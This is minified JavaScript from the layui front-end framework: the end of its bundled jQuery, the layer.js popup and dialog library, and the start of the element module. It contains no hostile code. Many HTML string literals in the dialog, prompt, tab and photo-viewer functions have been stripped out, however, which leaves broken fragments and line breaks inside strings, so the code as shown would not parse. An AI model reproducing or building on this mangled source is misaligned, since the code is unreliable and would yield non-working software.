e=pe.prop(this,"elements");return e?pe.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!pe(this).is(":disabled")&&sn.test(this.nodeName)&&!an.test(e)&&(this.checked||!Be.test(e))}).map(function(e,t){var n=pe(this).val();return null==n?null:pe.isArray(n)?pe.map(n,function(e){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),pe.ajaxSettings.xhr=void 0!==e.ActiveXObject?function(){return this.isLocal?ee():re.documentMode>8?Z():/^(get|post|head|put|delete|options)$/i.test(this.type)&&Z()||ee()}:Z;var un=0,ln={},cn=pe.ajaxSettings.xhr();e.attachEvent&&e.attachEvent("onunload",function(){for(var e in ln)ln[e](void 0,!0)}),fe.cors=!!cn&&"withCredentials"in cn,cn=fe.ajax=!!cn,cn&&pe.ajaxTransport(function(t){if(!t.crossDomain||fe.cors){var n;return{send:function(r,i){var o,a=t.xhr(),s=++un;if(a.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(o in t.xhrFields)a[o]=t.xhrFields[o];t.mimeType&&a.overrideMimeType&&a.overrideMimeType(t.mimeType),t.crossDomain||r["X-Requested-With"]||(r["X-Requested-With"]="XMLHttpRequest");for(o in r)void 0!==r[o]&&a.setRequestHeader(o,r[o]+"");a.send(t.hasContent&&t.data||null),n=function(e,r){var o,u,l;if(n&&(r||4===a.readyState))if(delete ln[s],n=void 0,a.onreadystatechange=pe.noop,r)4!==a.readyState&&a.abort();else{l={},o=a.status,"string"==typeof a.responseText&&(l.text=a.responseText);try{u=a.statusText}catch(c){u=""}o||!t.isLocal||t.crossDomain?1223===o&&(o=204):o=l.text?200:404}l&&i(o,u,l,a.getAllResponseHeaders())},t.async?4===a.readyState?e.setTimeout(n):a.onreadystatechange=ln[s]=n:n()},abort:function(){n&&n(void 0,!0)}}}}),pe.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return pe.globalEval(e),e}}}),pe.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),pe.ajaxTransport("script",function(e){if(e.crossDomain){var t,n=re.head||pe("head")[0]||re.documentElement;return{send:function(r,i){t=re.createElement("script"),t.async=!0,e.scriptCharset&&(t.charset=e.scriptCharset),t.src=e.url,t.onload=t.onreadystatechange=function(e,n){(n||!t.readyState||/loaded|complete/.test(t.readyState))&&(t.onload=t.onreadystatechange=null,t.parentNode&&t.parentNode.removeChild(t),t=null,n||i(200,"success"))},n.insertBefore(t,n.firstChild)},abort:function(){t&&t.onload(void 0,!0)}}}});var fn=[],dn=/(=)\?(?=&|$)|\?\?/;pe.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=fn.pop()||pe.expando+"_"+Wt++;return this[e]=!0,e}}),pe.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=t.jsonp!==!1&&(dn.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&dn.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=pe.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(dn,"$1"+i):t.jsonp!==!1&&(t.url+=(It.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||pe.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?pe(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,fn.push(i)),a&&pe.isFunction(o)&&o(a[0]),a=o=void 0}),"script"}),pe.parseHTML=function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||re;var r=Te.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=y([e],t,i),i&&i.length&&pe(i).remove(),pe.merge([],r.childNodes))};var pn=pe.fn.load;return pe.fn.load=function(e,t,n){if("string"!=typeof e&&pn)return pn.apply(this,arguments);var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=pe.trim(e.slice(s,e.length)),e=e.slice(0,s)),pe.isFunction(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&pe.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?pe("
      ").append(pe.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},pe.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){pe.fn[t]=function(e){return this.on(t,e)}}),pe.expr.filters.animated=function(e){return pe.grep(pe.timers,function(t){return e===t.elem}).length},pe.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=pe.css(e,"position"),f=pe(e),d={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=pe.css(e,"top"),u=pe.css(e,"left"),l=("absolute"===c||"fixed"===c)&&pe.inArray("auto",[o,u])>-1,l?(r=f.position(),a=r.top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),pe.isFunction(t)&&(t=t.call(e,n,pe.extend({},s))),null!=t.top&&(d.top=t.top-s.top+a),null!=t.left&&(d.left=t.left-s.left+i),"using"in t?t.using.call(e,d):f.css(d)}},pe.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){pe.offset.setOffset(this,e,t)});var t,n,r={top:0,left:0},i=this[0],o=i&&i.ownerDocument;if(o)return t=o.documentElement,pe.contains(t,i)?("undefined"!=typeof i.getBoundingClientRect&&(r=i.getBoundingClientRect()),n=te(o),{top:r.top+(n.pageYOffset||t.scrollTop)-(t.clientTop||0),left:r.left+(n.pageXOffset||t.scrollLeft)-(t.clientLeft||0)}):r},position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===pe.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),pe.nodeName(e[0],"html")||(n=e.offset()),n.top+=pe.css(e[0],"borderTopWidth",!0),n.left+=pe.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-pe.css(r,"marginTop",!0),left:t.left-n.left-pe.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){ +for(var e=this.offsetParent;e&&!pe.nodeName(e,"html")&&"static"===pe.css(e,"position");)e=e.offsetParent;return e||pt})}}),pe.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n=/Y/.test(t);pe.fn[e]=function(r){return Pe(this,function(e,r,i){var o=te(e);return void 0===i?o?t in o?o[t]:o.document.documentElement[r]:e[r]:void(o?o.scrollTo(n?pe(o).scrollLeft():i,n?i:pe(o).scrollTop()):e[r]=i)},e,r,arguments.length,null)}}),pe.each(["top","left"],function(e,t){pe.cssHooks[t]=L(fe.pixelPosition,function(e,n){if(n)return n=gt(e,t),ft.test(n)?pe(e).position()[t]+"px":n})}),pe.each({Height:"height",Width:"width"},function(e,t){pe.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){pe.fn[r]=function(r,i){var o=arguments.length&&(n||"boolean"!=typeof r),a=n||(r===!0||i===!0?"margin":"border");return Pe(this,function(t,n,r){var i;return pe.isWindow(t)?t.document.documentElement["client"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body["scroll"+e],i["scroll"+e],t.body["offset"+e],i["offset"+e],i["client"+e])):void 0===r?pe.css(t,n,a):pe.style(t,n,r,a)},t,o?r:void 0,o,null)}})}),pe.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),pe.fn.size=function(){return this.length},pe.fn.andSelf=pe.fn.addBack,layui.define(function(e){layui.$=pe,e("jquery",pe)}),pe});!function(e,t){"use strict";var i,n,a=e.layui&&layui.define,o={getPath:function(){var e=document.currentScript?document.currentScript.src:function(){for(var e,t=document.scripts,i=t.length-1,n=i;n>0;n--)if("interactive"===t[n].readyState){e=t[n].src;break}return e||t[i].src}();return e.substring(0,e.lastIndexOf("/")+1)}(),config:{},end:{},minIndex:0,minLeft:[],btn:["确定","取消"],type:["dialog","page","iframe","loading","tips"],getStyle:function(t,i){var n=t.currentStyle?t.currentStyle:e.getComputedStyle(t,null);return n[n.getPropertyValue?"getPropertyValue":"getAttribute"](i)},link:function(t,i,n){if(r.path){var a=document.getElementsByTagName("head")[0],s=document.createElement("link");"string"==typeof i&&(n=i);var l=(n||t).replace(/\.|\//g,""),f="layuicss-"+l,c=0;s.rel="stylesheet",s.href=r.path+t,s.id=f,document.getElementById(f)||a.appendChild(s),"function"==typeof i&&!function u(){return++c>80?e.console&&console.error("layer.css: Invalid"):void(1989===parseInt(o.getStyle(document.getElementById(f),"width"))?i():setTimeout(u,100))}()}}},r={v:"3.1.1",ie:function(){var t=navigator.userAgent.toLowerCase();return!!(e.ActiveXObject||"ActiveXObject"in e)&&((t.match(/msie\s(\d+)/)||[])[1]||"11")}(),index:e.layer&&e.layer.v?1e5:0,path:o.getPath,config:function(e,t){return e=e||{},r.cache=o.config=i.extend({},o.config,e),r.path=o.config.path||r.path,"string"==typeof e.extend&&(e.extend=[e.extend]),o.config.path&&r.ready(),e.extend?(a?layui.addcss("modules/layer/"+e.extend):o.link("theme/"+e.extend),this):this},ready:function(e){var t="layer",i="",n=(a?"modules/layer/":"theme/")+"default/layer.css?v="+r.v+i;return a?layui.addcss(n,e,t):o.link(n,e,t),this},alert:function(e,t,n){var a="function"==typeof t;return a&&(n=t),r.open(i.extend({content:e,yes:n},a?{}:t))},confirm:function(e,t,n,a){var s="function"==typeof t;return s&&(a=n,n=t),r.open(i.extend({content:e,btn:o.btn,yes:n,btn2:a},s?{}:t))},msg:function(e,n,a){var s="function"==typeof n,f=o.config.skin,c=(f?f+" "+f+"-msg":"")||"layui-layer-msg",u=l.anim.length-1;return s&&(a=n),r.open(i.extend({content:e,time:3e3,shade:!1,skin:c,title:!1,closeBtn:!1,btn:!1,resize:!1,end:a},s&&!o.config.skin?{skin:c+" layui-layer-hui",anim:u}:function(){return n=n||{},(n.icon===-1||n.icon===t&&!o.config.skin)&&(n.skin=c+" "+(n.skin||"layui-layer-hui")),n}()))},load:function(e,t){return r.open(i.extend({type:3,icon:e||0,resize:!1,shade:.01},t))},tips:function(e,t,n){return r.open(i.extend({type:4,content:[e,t],closeBtn:!1,time:3e3,shade:!1,resize:!1,fixed:!1,maxWidth:210},n))}},s=function(e){var t=this;t.index=++r.index,t.config=i.extend({},t.config,o.config,e),document.body?t.creat():setTimeout(function(){t.creat()},30)};s.pt=s.prototype;var l=["layui-layer",".layui-layer-title",".layui-layer-main",".layui-layer-dialog","layui-layer-iframe","layui-layer-content","layui-layer-btn","layui-layer-close"];l.anim=["layer-anim-00","layer-anim-01","layer-anim-02","layer-anim-03","layer-anim-04","layer-anim-05","layer-anim-06"],s.pt.config={type:0,shade:.3,fixed:!0,move:l[1],title:"信息",offset:"auto",area:"auto",closeBtn:1,time:0,zIndex:19891014,maxWidth:360,anim:0,isOutAnim:!0,icon:-1,moveType:1,resize:!0,scrollbar:!0,tips:2},s.pt.vessel=function(e,t){var n=this,a=n.index,r=n.config,s=r.zIndex+a,f="object"==typeof r.title,c=r.maxmin&&(1===r.type||2===r.type),u=r.title?'
      '+(f?r.title[0]:r.title)+"
      ":"";return r.zIndex=s,t([r.shade?'
      ':"",'
      '+(e&&2!=r.type?"":u)+'
      '+(0==r.type&&r.icon!==-1?'':"")+(1==r.type&&e?"":r.content||"")+'
      '+function(){var e=c?'':"";return r.closeBtn&&(e+=''),e}()+""+(r.btn?function(){var e="";"string"==typeof r.btn&&(r.btn=[r.btn]);for(var t=0,i=r.btn.length;t'+r.btn[t]+"";return'
      '+e+"
      "}():"")+(r.resize?'':"")+"
      "],u,i('
      ')),n},s.pt.creat=function(){var e=this,t=e.config,a=e.index,s=t.content,f="object"==typeof s,c=i("body");if(!t.id||!i("#"+t.id)[0]){switch("string"==typeof t.area&&(t.area="auto"===t.area?["",""]:[t.area,""]),t.shift&&(t.anim=t.shift),6==r.ie&&(t.fixed=!1),t.type){case 0:t.btn="btn"in t?t.btn:o.btn[0],r.closeAll("dialog");break;case 2:var s=t.content=f?t.content:[t.content||"http://layer.layui.com","auto"];t.content='';break;case 3:delete t.title,delete t.closeBtn,t.icon===-1&&0===t.icon,r.closeAll("loading");break;case 4:f||(t.content=[t.content,"body"]),t.follow=t.content[1],t.content=t.content[0]+'',delete t.title,t.tips="object"==typeof t.tips?t.tips:[t.tips,!0],t.tipsMore||r.closeAll("tips")}if(e.vessel(f,function(n,r,u){c.append(n[0]),f?function(){2==t.type||4==t.type?function(){i("body").append(n[1])}():function(){s.parents("."+l[0])[0]||(s.data("display",s.css("display")).show().addClass("layui-layer-wrap").wrap(n[1]),i("#"+l[0]+a).find("."+l[5]).before(r))}()}():c.append(n[1]),i(".layui-layer-move")[0]||c.append(o.moveElem=u),e.layero=i("#"+l[0]+a),t.scrollbar||l.html.css("overflow","hidden").attr("layer-full",a)}).auto(a),i("#layui-layer-shade"+e.index).css({"background-color":t.shade[1]||"#000",opacity:t.shade[0]||t.shade}),2==t.type&&6==r.ie&&e.layero.find("iframe").attr("src",s[0]),4==t.type?e.tips():e.offset(),t.fixed&&n.on("resize",function(){e.offset(),(/^\d+%$/.test(t.area[0])||/^\d+%$/.test(t.area[1]))&&e.auto(a),4==t.type&&e.tips()}),t.time<=0||setTimeout(function(){r.close(e.index)},t.time),e.move().callback(),l.anim[t.anim]){var u="layer-anim "+l.anim[t.anim];e.layero.addClass(u).one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend",function(){i(this).removeClass(u)})}t.isOutAnim&&e.layero.data("isOutAnim",!0)}},s.pt.auto=function(e){var t=this,a=t.config,o=i("#"+l[0]+e);""===a.area[0]&&a.maxWidth>0&&(r.ie&&r.ie<8&&a.btn&&o.width(o.innerWidth()),o.outerWidth()>a.maxWidth&&o.width(a.maxWidth));var s=[o.innerWidth(),o.innerHeight()],f=o.find(l[1]).outerHeight()||0,c=o.find("."+l[6]).outerHeight()||0,u=function(e){e=o.find(e),e.height(s[1]-f-c-2*(0|parseFloat(e.css("padding-top"))))};switch(a.type){case 2:u("iframe");break;default:""===a.area[1]?a.maxHeight>0&&o.outerHeight()>a.maxHeight?(s[1]=a.maxHeight,u("."+l[5])):a.fixed&&s[1]>=n.height()&&(s[1]=n.height(),u("."+l[5])):u("."+l[5])}return t},s.pt.offset=function(){var e=this,t=e.config,i=e.layero,a=[i.outerWidth(),i.outerHeight()],o="object"==typeof t.offset;e.offsetTop=(n.height()-a[1])/2,e.offsetLeft=(n.width()-a[0])/2,o?(e.offsetTop=t.offset[0],e.offsetLeft=t.offset[1]||e.offsetLeft):"auto"!==t.offset&&("t"===t.offset?e.offsetTop=0:"r"===t.offset?e.offsetLeft=n.width()-a[0]:"b"===t.offset?e.offsetTop=n.height()-a[1]:"l"===t.offset?e.offsetLeft=0:"lt"===t.offset?(e.offsetTop=0,e.offsetLeft=0):"lb"===t.offset?(e.offsetTop=n.height()-a[1],e.offsetLeft=0):"rt"===t.offset?(e.offsetTop=0,e.offsetLeft=n.width()-a[0]):"rb"===t.offset?(e.offsetTop=n.height()-a[1],e.offsetLeft=n.width()-a[0]):e.offsetTop=t.offset),t.fixed||(e.offsetTop=/%$/.test(e.offsetTop)?n.height()*parseFloat(e.offsetTop)/100:parseFloat(e.offsetTop),e.offsetLeft=/%$/.test(e.offsetLeft)?n.width()*parseFloat(e.offsetLeft)/100:parseFloat(e.offsetLeft),e.offsetTop+=n.scrollTop(),e.offsetLeft+=n.scrollLeft()),i.attr("minLeft")&&(e.offsetTop=n.height()-(i.find(l[1]).outerHeight()||0),e.offsetLeft=i.css("left")),i.css({top:e.offsetTop,left:e.offsetLeft})},s.pt.tips=function(){var e=this,t=e.config,a=e.layero,o=[a.outerWidth(),a.outerHeight()],r=i(t.follow);r[0]||(r=i("body"));var s={width:r.outerWidth(),height:r.outerHeight(),top:r.offset().top,left:r.offset().left},f=a.find(".layui-layer-TipsG"),c=t.tips[0];t.tips[1]||f.remove(),s.autoLeft=function(){s.left+o[0]-n.width()>0?(s.tipLeft=s.left+s.width-o[0],f.css({right:12,left:"auto"})):s.tipLeft=s.left},s.where=[function(){s.autoLeft(),s.tipTop=s.top-o[1]-10,f.removeClass("layui-layer-TipsB").addClass("layui-layer-TipsT").css("border-right-color",t.tips[1])},function(){s.tipLeft=s.left+s.width+10,s.tipTop=s.top,f.removeClass("layui-layer-TipsL").addClass("layui-layer-TipsR").css("border-bottom-color",t.tips[1])},function(){s.autoLeft(),s.tipTop=s.top+s.height+10,f.removeClass("layui-layer-TipsT").addClass("layui-layer-TipsB").css("border-right-color",t.tips[1])},function(){s.tipLeft=s.left-o[0]-10,s.tipTop=s.top,f.removeClass("layui-layer-TipsR").addClass("layui-layer-TipsL").css("border-bottom-color",t.tips[1])}],s.where[c-1](),1===c?s.top-(n.scrollTop()+o[1]+16)<0&&s.where[2]():2===c?n.width()-(s.left+s.width+o[0]+16)>0||s.where[3]():3===c?s.top-n.scrollTop()+s.height+o[1]+16-n.height()>0&&s.where[0]():4===c&&o[0]+16-s.left>0&&s.where[1](),a.find("."+l[5]).css({"background-color":t.tips[1],"padding-right":t.closeBtn?"30px":""}),a.css({left:s.tipLeft-(t.fixed?n.scrollLeft():0),top:s.tipTop-(t.fixed?n.scrollTop():0)})},s.pt.move=function(){var e=this,t=e.config,a=i(document),s=e.layero,l=s.find(t.move),f=s.find(".layui-layer-resize"),c={};return t.move&&l.css("cursor","move"),l.on("mousedown",function(e){e.preventDefault(),t.move&&(c.moveStart=!0,c.offset=[e.clientX-parseFloat(s.css("left")),e.clientY-parseFloat(s.css("top"))],o.moveElem.css("cursor","move").show())}),f.on("mousedown",function(e){e.preventDefault(),c.resizeStart=!0,c.offset=[e.clientX,e.clientY],c.area=[s.outerWidth(),s.outerHeight()],o.moveElem.css("cursor","se-resize").show()}),a.on("mousemove",function(i){if(c.moveStart){var a=i.clientX-c.offset[0],o=i.clientY-c.offset[1],l="fixed"===s.css("position");if(i.preventDefault(),c.stX=l?0:n.scrollLeft(),c.stY=l?0:n.scrollTop(),!t.moveOut){var f=n.width()-s.outerWidth()+c.stX,u=n.height()-s.outerHeight()+c.stY;af&&(a=f),ou&&(o=u)}s.css({left:a,top:o})}if(t.resize&&c.resizeStart){var a=i.clientX-c.offset[0],o=i.clientY-c.offset[1];i.preventDefault(),r.style(e.index,{width:c.area[0]+a,height:c.area[1]+o}),c.isResize=!0,t.resizing&&t.resizing(s)}}).on("mouseup",function(e){c.moveStart&&(delete c.moveStart,o.moveElem.hide(),t.moveEnd&&t.moveEnd(s)),c.resizeStart&&(delete c.resizeStart,o.moveElem.hide())}),e},s.pt.callback=function(){function e(){var e=a.cancel&&a.cancel(t.index,n);e===!1||r.close(t.index)}var t=this,n=t.layero,a=t.config;t.openLayer(),a.success&&(2==a.type?n.find("iframe").on("load",function(){a.success(n,t.index)}):a.success(n,t.index)),6==r.ie&&t.IE6(n),n.find("."+l[6]).children("a").on("click",function(){var e=i(this).index();if(0===e)a.yes?a.yes(t.index,n):a.btn1?a.btn1(t.index,n):r.close(t.index);else{var o=a["btn"+(e+1)]&&a["btn"+(e+1)](t.index,n);o===!1||r.close(t.index)}}),n.find("."+l[7]).on("click",e),a.shadeClose&&i("#layui-layer-shade"+t.index).on("click",function(){r.close(t.index)}),n.find(".layui-layer-min").on("click",function(){var e=a.min&&a.min(n);e===!1||r.min(t.index,a)}),n.find(".layui-layer-max").on("click",function(){i(this).hasClass("layui-layer-maxmin")?(r.restore(t.index),a.restore&&a.restore(n)):(r.full(t.index,a),setTimeout(function(){a.full&&a.full(n)},100))}),a.end&&(o.end[t.index]=a.end)},o.reselect=function(){i.each(i("select"),function(e,t){var n=i(this);n.parents("."+l[0])[0]||1==n.attr("layer")&&i("."+l[0]).length<1&&n.removeAttr("layer").show(),n=null})},s.pt.IE6=function(e){i("select").each(function(e,t){var n=i(this);n.parents("."+l[0])[0]||"none"===n.css("display")||n.attr({layer:"1"}).hide(),n=null})},s.pt.openLayer=function(){var e=this;r.zIndex=e.config.zIndex,r.setTop=function(e){var t=function(){r.zIndex++,e.css("z-index",r.zIndex+1)};return r.zIndex=parseInt(e[0].style.zIndex),e.on("mousedown",t),r.zIndex}},o.record=function(e){var t=[e.width(),e.height(),e.position().top,e.position().left+parseFloat(e.css("margin-left"))];e.find(".layui-layer-max").addClass("layui-layer-maxmin"),e.attr({area:t})},o.rescollbar=function(e){l.html.attr("layer-full")==e&&(l.html[0].style.removeProperty?l.html[0].style.removeProperty("overflow"):l.html[0].style.removeAttribute("overflow"),l.html.removeAttr("layer-full"))},e.layer=r,r.getChildFrame=function(e,t){return t=t||i("."+l[4]).attr("times"),i("#"+l[0]+t).find("iframe").contents().find(e)},r.getFrameIndex=function(e){return i("#"+e).parents("."+l[4]).attr("times")},r.iframeAuto=function(e){if(e){var t=r.getChildFrame("html",e).outerHeight(),n=i("#"+l[0]+e),a=n.find(l[1]).outerHeight()||0,o=n.find("."+l[6]).outerHeight()||0;n.css({height:t+a+o}),n.find("iframe").css({height:t})}},r.iframeSrc=function(e,t){i("#"+l[0]+e).find("iframe").attr("src",t)},r.style=function(e,t,n){var a=i("#"+l[0]+e),r=a.find(".layui-layer-content"),s=a.attr("type"),f=a.find(l[1]).outerHeight()||0,c=a.find("."+l[6]).outerHeight()||0;a.attr("minLeft");s!==o.type[3]&&s!==o.type[4]&&(n||(parseFloat(t.width)<=260&&(t.width=260),parseFloat(t.height)-f-c<=64&&(t.height=64+f+c)),a.css(t),c=a.find("."+l[6]).outerHeight(),s===o.type[2]?a.find("iframe").css({height:parseFloat(t.height)-f-c}):r.css({height:parseFloat(t.height)-f-c-parseFloat(r.css("padding-top"))-parseFloat(r.css("padding-bottom"))}))},r.min=function(e,t){var a=i("#"+l[0]+e),s=a.find(l[1]).outerHeight()||0,f=a.attr("minLeft")||181*o.minIndex+"px",c=a.css("position");o.record(a),o.minLeft[0]&&(f=o.minLeft[0],o.minLeft.shift()),a.attr("position",c),r.style(e,{width:180,height:s,left:f,top:n.height()-s,position:"fixed",overflow:"hidden"},!0),a.find(".layui-layer-min").hide(),"page"===a.attr("type")&&a.find(l[4]).hide(),o.rescollbar(e),a.attr("minLeft")||o.minIndex++,a.attr("minLeft",f)},r.restore=function(e){var t=i("#"+l[0]+e),n=t.attr("area").split(",");t.attr("type");r.style(e,{width:parseFloat(n[0]),height:parseFloat(n[1]),top:parseFloat(n[2]),left:parseFloat(n[3]),position:t.attr("position"),overflow:"visible"},!0),t.find(".layui-layer-max").removeClass("layui-layer-maxmin"),t.find(".layui-layer-min").show(),"page"===t.attr("type")&&t.find(l[4]).show(),o.rescollbar(e)},r.full=function(e){var t,a=i("#"+l[0]+e);o.record(a),l.html.attr("layer-full")||l.html.css("overflow","hidden").attr("layer-full",e),clearTimeout(t),t=setTimeout(function(){var t="fixed"===a.css("position");r.style(e,{top:t?0:n.scrollTop(),left:t?0:n.scrollLeft(),width:n.width(),height:n.height()},!0),a.find(".layui-layer-min").hide()},100)},r.title=function(e,t){var n=i("#"+l[0]+(t||r.index)).find(l[1]);n.html(e)},r.close=function(e){var t=i("#"+l[0]+e),n=t.attr("type"),a="layer-anim-close";if(t[0]){var s="layui-layer-wrap",f=function(){if(n===o.type[1]&&"object"===t.attr("conType")){t.children(":not(."+l[5]+")").remove();for(var a=t.find("."+s),r=0;r<2;r++)a.unwrap();a.css("display",a.data("display")).removeClass(s)}else{if(n===o.type[2])try{var f=i("#"+l[4]+e)[0];f.contentWindow.document.write(""),f.contentWindow.close(),t.find("."+l[5])[0].removeChild(f)}catch(c){}t[0].innerHTML="",t.remove()}"function"==typeof o.end[e]&&o.end[e](),delete o.end[e]};t.data("isOutAnim")&&t.addClass("layer-anim "+a),i("#layui-layer-moves, #layui-layer-shade"+e).remove(),6==r.ie&&o.reselect(),o.rescollbar(e),t.attr("minLeft")&&(o.minIndex--,o.minLeft.push(t.attr("minLeft"))),r.ie&&r.ie<10||!t.data("isOutAnim")?f():setTimeout(function(){f()},200)}},r.closeAll=function(e){i.each(i("."+l[0]),function(){var t=i(this),n=e?t.attr("type")===e:1;n&&r.close(t.attr("times")),n=null})};var f=r.cache||{},c=function(e){return f.skin?" "+f.skin+" "+f.skin+"-"+e:""};r.prompt=function(e,t){var a="";if(e=e||{},"function"==typeof e&&(t=e),e.area){var o=e.area;a='style="width: '+o[0]+"; height: "+o[1]+';"',delete e.area}var s,l=2==e.formType?'":function(){return''}(),f=e.success;return delete e.success,r.open(i.extend({type:1,btn:["确定","取消"],content:l,skin:"layui-layer-prompt"+c("prompt"),maxWidth:n.width(),success:function(t){s=t.find(".layui-layer-input"),s.val(e.value||"").focus(),"function"==typeof f&&f(t)},resize:!1,yes:function(i){var n=s.val();""===n?s.focus():n.length>(e.maxlength||500)?r.tips("最多输入"+(e.maxlength||500)+"个字数",s,{tips:1}):t&&t(n,i,s)}},e))},r.tab=function(e){e=e||{};var t=e.tab||{},n="layui-this",a=e.success;return delete e.success,r.open(i.extend({type:1,skin:"layui-layer-tab"+c("tab"),resize:!1,title:function(){var e=t.length,i=1,a="";if(e>0)for(a=''+t[0].title+"";i"+t[i].title+"";return a}(),content:'
        '+function(){var e=t.length,i=1,a="";if(e>0)for(a='
      • '+(t[0].content||"no content")+"
      • ";i'+(t[i].content||"no content")+"";return a}()+"
      ",success:function(t){var o=t.find(".layui-layer-title").children(),r=t.find(".layui-layer-tabmain").children();o.on("mousedown",function(t){t.stopPropagation?t.stopPropagation():t.cancelBubble=!0;var a=i(this),o=a.index();a.addClass(n).siblings().removeClass(n),r.eq(o).show().siblings().hide(),"function"==typeof e.change&&e.change(o)}),"function"==typeof a&&a(t)}},e))},r.photos=function(t,n,a){function o(e,t,i){var n=new Image;return n.src=e,n.complete?t(n):(n.onload=function(){n.onload=null,t(n)},void(n.onerror=function(e){n.onerror=null,i(e)}))}var s={};if(t=t||{},t.photos){var l=t.photos.constructor===Object,f=l?t.photos:{},u=f.data||[],d=f.start||0;s.imgIndex=(0|d)+1,t.img=t.img||"img";var y=t.success;if(delete t.success,l){if(0===u.length)return r.msg("没有图片")}else{var p=i(t.photos),h=function(){u=[],p.find(t.img).each(function(e){var t=i(this);t.attr("layer-index",e),u.push({alt:t.attr("alt"),pid:t.attr("layer-pid"),src:t.attr("layer-src")||t.attr("src"),thumb:t.attr("src")})})};if(h(),0===u.length)return;if(n||p.on("click",t.img,function(){var e=i(this),n=e.attr("layer-index");r.photos(i.extend(t,{photos:{start:n,data:u,tab:t.tab},full:t.full}),!0),h()}),!n)return}s.imgprev=function(e){s.imgIndex--,s.imgIndex<1&&(s.imgIndex=u.length),s.tabimg(e)},s.imgnext=function(e,t){s.imgIndex++,s.imgIndex>u.length&&(s.imgIndex=1,t)||s.tabimg(e)},s.keyup=function(e){if(!s.end){var t=e.keyCode;e.preventDefault(),37===t?s.imgprev(!0):39===t?s.imgnext(!0):27===t&&r.close(s.index)}},s.tabimg=function(e){if(!(u.length<=1))return f.start=s.imgIndex-1,r.close(s.index),r.photos(t,!0,e)},s.event=function(){s.bigimg.hover(function(){s.imgsee.show()},function(){s.imgsee.hide()}),s.bigimg.find(".layui-layer-imgprev").on("click",function(e){e.preventDefault(),s.imgprev()}),s.bigimg.find(".layui-layer-imgnext").on("click",function(e){e.preventDefault(),s.imgnext()}),i(document).on("keyup",s.keyup)},s.loadi=r.load(1,{shade:!("shade"in t)&&.9,scrollbar:!1}),o(u[d].src,function(n){r.close(s.loadi),s.index=r.open(i.extend({type:1,id:"layui-layer-photos",area:function(){var a=[n.width,n.height],o=[i(e).width()-100,i(e).height()-100];if(!t.full&&(a[0]>o[0]||a[1]>o[1])){var r=[a[0]/o[0],a[1]/o[1]];r[0]>r[1]?(a[0]=a[0]/r[0],a[1]=a[1]/r[0]):r[0]'+(u[d].alt||
      '+(u.length>1?'':"")+'
      '+(u[d].alt||"")+""+s.imgIndex+"/"+u.length+"
      ",success:function(e,i){s.bigimg=e.find(".layui-layer-phimg"),s.imgsee=e.find(".layui-layer-imguide,.layui-layer-imgbar"),s.event(e),t.tab&&t.tab(u[d],e),"function"==typeof y&&y(e)},end:function(){s.end=!0,i(document).off("keyup",s.keyup)}},t))},function(){r.close(s.loadi),r.msg("当前图片地址异常
      是否继续查看下一张?",{time:3e4,btn:["下一张","不看了"],yes:function(){u.length>1&&s.imgnext(!0,!0)}})})}},o.run=function(t){i=t,n=i(e),l.html=i("html"),r.open=function(e){var t=new s(e);return t.index}},e.layui&&layui.define?(r.ready(),layui.define("jquery",function(t){r.path=layui.cache.dir,o.run(layui.$),e.layer=r,t("layer",r)})):"function"==typeof define&&define.amd?define(["jquery"],function(){return o.run(e.jQuery),r}):function(){o.run(e.jQuery),r.ready()}()}(window);layui.define("jquery",function(i){"use strict";var t=layui.$,a=(layui.hint(),layui.device()),e="element",l="layui-this",n="layui-show",s=function(){this.config={}};s.prototype.set=function(i){var a=this;return t.extend(!0,a.config,i),a},s.prototype.on=function(i,t){return layui.onevent.call(this,e,i,t)},s.prototype.tabAdd=function(i,a){var e=".layui-tab-title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.children(".layui-tab-bar"),o=l.children(".layui-tab-content"),c='
    • '+(a.title||"unnaming")+"
